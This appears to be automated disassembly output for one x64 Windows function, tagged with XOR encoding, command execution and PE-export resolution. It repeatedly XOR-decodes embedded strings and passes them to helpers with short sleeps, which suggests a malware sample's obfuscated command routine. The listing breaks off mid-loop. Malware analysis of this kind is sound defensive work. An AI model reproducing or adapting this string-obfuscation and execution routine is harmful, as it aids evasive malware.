Function at 0x14001da10
Capabilities:
Encode data using xor
Execute command
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xeb50]
mov eax, 0xec50
call fcn.1400a87e0
sub rsp, rax
movaps xmmword [rsp + 0xec40], xmm6
mov rax, qword [0x1400d1080]
xor rax, rsp
mov qword [rbp + 0xeb30], rax
movups xmm0, xmmword [0x1400c0c50]
movups xmmword [rbp + 0x8120], xmm0
movups xmm1, xmmword [0x1400c0c60]
movups xmmword [rbp + 0x8130], xmm1
movups xmm0, xmmword [0x1400c0c70]
movups xmmword [rbp + 0x8140], xmm0
movups xmm1, xmmword [0x1400c0c80]
movups xmmword [rbp + 0x8150], xmm1
movups xmm0, xmmword [0x1400c0c90]
movups xmmword [rbp + 0x8160], xmm0
movups xmm1, xmmword [0x1400c0ca0]
movups xmmword [rbp + 0x8170], xmm1
movsd xmm0, qword [0x1400c0cb0]
movsd qword [rbp + 0x8180], xmm0
mov eax, dword [0x1400c0cb8]
mov dword [rbp + 0x8188], eax
movzx eax, word [0x1400c0cbc]
mov word [rbp + 0x818c], ax
xor ebx, ebx
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14001dc25
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x8124]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x14001db20
cmp r8d, 0x6e
jge 0x14001dc70
movsxd rax, r8d
lea r9, [rbp + 0x8120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6e
jl 0x14001dc40
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0xf8]
call fcn.140004bf0
nop
lea rax, [rbp + 0x8120]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14001dc93
lea rdx, [rbp + 0x8120]
lea rcx, [rbp + 0xf8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0xf8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0xf8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bfa80]
movups xmmword [rbp + 0xdae0], xmm0
movups xmm1, xmmword [0x1400bfa90]
movups xmmword [rbp + 0xdaf0], xmm1
movups xmm0, xmmword [0x1400bfaa0]
movups xmmword [rbp + 0xdb00], xmm0
movups xmm1, xmmword [0x1400bfab0]
movups xmmword [rbp + 0xdb10], xmm1
movups xmm0, xmmword [0x1400bfac0]
movups xmmword [rbp + 0xdb20], xmm0
movups xmm1, xmmword [0x1400bfad0]
movups xmmword [rbp + 0xdb30], xmm1
movups xmm0, xmmword [0x1400bfae0]
movups xmmword [rbp + 0xdb40], xmm0
movups xmm1, xmmword [0x1400bfaf0]
movups xmmword [rbp + 0xdb50], xmm1
movups xmm0, xmmword [0x1400bfb00]
movups xmmword [rbp + 0xdb60], xmm0
cmp edi, 2
jl 0x14001dea2
movdqa xmm5, xmmword [0x1400c3460]
mov edx, ebx
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xdae4]
mov r8d, dword [rbp + 0xb0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x90
jl 0x14001dda0
jmp 0x14001dee3
lea r9, [rbp + 0xdae0]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x90
jl 0x14001deb0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x118]
call fcn.140004bf0
nop
lea rax, [rbp + 0xdae0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001df00
lea rdx, [rbp + 0xdae0]
lea rcx, [rbp + 0x118]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x118]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x118]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bd3d0]
movups xmmword [rbp + 0xac30], xmm0
movups xmm1, xmmword [0x1400bd3e0]
movups xmmword [rbp + 0xac40], xmm1
movups xmm0, xmmword [0x1400bd3f0]
movups xmmword [rbp + 0xac50], xmm0
movups xmm1, xmmword [0x1400bd400]
movups xmmword [rbp + 0xac60], xmm1
movups xmm0, xmmword [0x1400bd410]
movups xmmword [rbp + 0xac70], xmm0
movups xmm1, xmmword [0x1400bd420]
movups xmmword [rbp + 0xac80], xmm1
movups xmm0, xmmword [0x1400bd430]
movups xmmword [rbp + 0xac90], xmm0
movups xmm1, xmmword [0x1400bd440]
movups xmmword [rbp + 0xaca0], xmm1
movsd xmm0, qword [0x1400bd450]
movsd qword [rbp + 0xacb0], xmm0
mov eax, dword [0x1400bd458]
mov dword [rbp + 0xacb8], eax
movzx eax, byte [0x1400bd45c]
mov byte [rbp + 0xacbc], al
mov r8d, ebx
cmp edi, 2
jl 0x14001e12b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xac34]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14001e020
cmp r8d, 0x8d
jge 0x14001e173
movsxd rax, r8d
lea r9, [rbp + 0xac30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x14001e140
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x138]
call fcn.140004bf0
nop
lea rax, [rbp + 0xac30]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001e190
lea rdx, [rbp + 0xac30]
lea rcx, [rbp + 0x138]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x138]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x138]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400be560]
movups xmmword [rbp + 0xe030], xmm0
movups xmm1, xmmword [0x1400be570]
movups xmmword [rbp + 0xe040], xmm1
movups xmm0, xmmword [0x1400be580]
movups xmmword [rbp + 0xe050], xmm0
movups xmm1, xmmword [0x1400be590]
movups xmmword [rbp + 0xe060], xmm1
movups xmm0, xmmword [0x1400be5a0]
movups xmmword [rbp + 0xe070], xmm0
movups xmm1, xmmword [0x1400be5b0]
movups xmmword [rbp + 0xe080], xmm1
movups xmm0, xmmword [0x1400be5c0]
movups xmmword [rbp + 0xe090], xmm0
movups xmm1, xmmword [0x1400be5d0]
movups xmmword [rbp + 0xe0a0], xmm1
movups xmm0, xmmword [0x1400be5e0]
movups xmmword [rbp + 0xe0b0], xmm0
movzx eax, word [0x1400be5f0]
mov word [rbp + 0xe0c0], ax
movzx eax, byte [0x1400be5f2]
mov byte [rbp + 0xe0c2], al
mov r8d, ebx
cmp edi, 2
jl 0x14001e3bb
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xe034]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14001e2b0
cmp r8d, 0x93
jge 0x14001e403
movsxd rax, r8d
lea r9, [rbp + 0xe030]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x14001e3d0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x158]
call fcn.140004bf0
nop
lea rax, [rbp + 0xe030]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001e420
lea rdx, [rbp + 0xe030]
lea rcx, [rbp + 0x158]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x158]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x158]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c31c0]
movups xmmword [rbp + 0xcdf0], xmm0
movups xmm1, xmmword [0x1400c31d0]
movups xmmword [rbp + 0xce00], xmm1
movups xmm0, xmmword [0x1400c31e0]
movups xmmword [rbp + 0xce10], xmm0
movups xmm1, xmmword [0x1400c31f0]
movups xmmword [rbp + 0xce20], xmm1
movups xmm0, xmmword [0x1400c3200]
movups xmmword [rbp + 0xce30], xmm0
movups xmm1, xmmword [0x1400c3210]
movups xmmword [rbp + 0xce40], xmm1
movups xmm0, xmmword [0x1400c3220]
movups xmmword [rbp + 0xce50], xmm0
movups xmm1, xmmword [str.NenXY_]
movups xmmword [rbp + 0xce60], xmm1
movsd xmm0, qword [0x1400c3240]
movsd qword [rbp + 0xce70], xmm0
cmp edi, 2
jl 0x14001e625
movdqa xmm5, xmmword [0x1400c3460]
mov edx, ebx
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xcdf4]
mov r8d, dword [rbp + 0xb0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x14001e523
jmp 0x14001e663
lea r9, [rbp + 0xcdf0]
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x14001e630
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x178]
call fcn.140004bf0
nop
lea rax, [rbp + 0xcdf0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001e680
lea rdx, [rbp + 0xcdf0]
lea rcx, [rbp + 0x178]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x178]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x178]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bef40]
movups xmmword [rbp + 0xb350], xmm0
movups xmm1, xmmword [0x1400bef50]
movups xmmword [rbp + 0xb360], xmm1
movups xmm0, xmmword [0x1400bef60]
movups xmmword [rbp + 0xb370], xmm0
movups xmm1, xmmword [0x1400bef70]
movups xmmword [rbp + 0xb380], xmm1
movups xmm0, xmmword [0x1400bef80]
movups xmmword [rbp + 0xb390], xmm0
movups xmm1, xmmword [0x1400bef90]
movups xmmword [rbp + 0xb3a0], xmm1
movups xmm0, xmmword [0x1400befa0]
movups xmmword [rbp + 0xb3b0], xmm0
movsd xmm0, qword [0x1400befb0]
movsd qword [rbp + 0xb3c0], xmm0
mov eax, dword [0x1400befb8]
mov dword [rbp + 0xb3c8], eax
movzx eax, word [0x1400befbc]
mov word [rbp + 0xb3cc], ax
movzx eax, byte [0x1400befbe]
mov byte [rbp + 0xb3ce], al
mov r8d, ebx
cmp edi, 2
jl 0x14001e8a5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb354]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001e7a0
cmp r8d, 0x7f
jge 0x14001e8f0
movsxd rax, r8d
lea r9, [rbp + 0xb350]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7f
jl 0x14001e8c0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x198]
call fcn.140004bf0
nop
lea rax, [rbp + 0xb350]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001e910
lea rdx, [rbp + 0xb350]
lea rcx, [rbp + 0x198]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x198]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x198]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c1dc0]
movups xmmword [rbp + 0xa7b0], xmm0
movups xmm1, xmmword [0x1400c1dd0]
movups xmmword [rbp + 0xa7c0], xmm1
movups xmm0, xmmword [0x1400c1de0]
movups xmmword [rbp + 0xa7d0], xmm0
movups xmm1, xmmword [0x1400c1df0]
movups xmmword [rbp + 0xa7e0], xmm1
movups xmm0, xmmword [0x1400c1e00]
movups xmmword [rbp + 0xa7f0], xmm0
movups xmm1, xmmword [0x1400c1e10]
movups xmmword [rbp + 0xa800], xmm1
movups xmm0, xmmword [0x1400c1e20]
movups xmmword [rbp + 0xa810], xmm0
movsd xmm0, qword [0x1400c1e30]
movsd qword [rbp + 0xa820], xmm0
mov eax, dword [0x1400c1e38]
mov dword [rbp + 0xa828], eax
mov r8d, ebx
cmp edi, 2
jl 0x14001eb16
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xa7b4]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001ea11
cmp r8d, 0x7c
jge 0x14001eb60
movsxd rax, r8d
lea r9, [rbp + 0xa7b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x14001eb30
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x1b8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xa7b0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001eb80
lea rdx, [rbp + 0xa7b0]
lea rcx, [rbp + 0x1b8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x1b8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x1b8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c0850]
movups xmmword [rbp + 0xa9b0], xmm0
movups xmm1, xmmword [0x1400c0860]
movups xmmword [rbp + 0xa9c0], xmm1
movups xmm0, xmmword [0x1400c0870]
movups xmmword [rbp + 0xa9d0], xmm0
movups xmm1, xmmword [0x1400c0880]
movups xmmword [rbp + 0xa9e0], xmm1
movups xmm0, xmmword [0x1400c0890]
movups xmmword [rbp + 0xa9f0], xmm0
movups xmm1, xmmword [0x1400c08a0]
movups xmmword [rbp + 0xaa00], xmm1
movups xmm0, xmmword [0x1400c08b0]
movups xmmword [rbp + 0xaa10], xmm0
movsd xmm0, qword [0x1400c08c0]
movsd qword [rbp + 0xaa20], xmm0
mov eax, dword [0x1400c08c8]
mov dword [rbp + 0xaa28], eax
movzx eax, byte [0x1400c08cc]
mov byte [rbp + 0xaa2c], al
mov r8d, ebx
cmp edi, 2
jl 0x14001ed95
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xa9b4]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
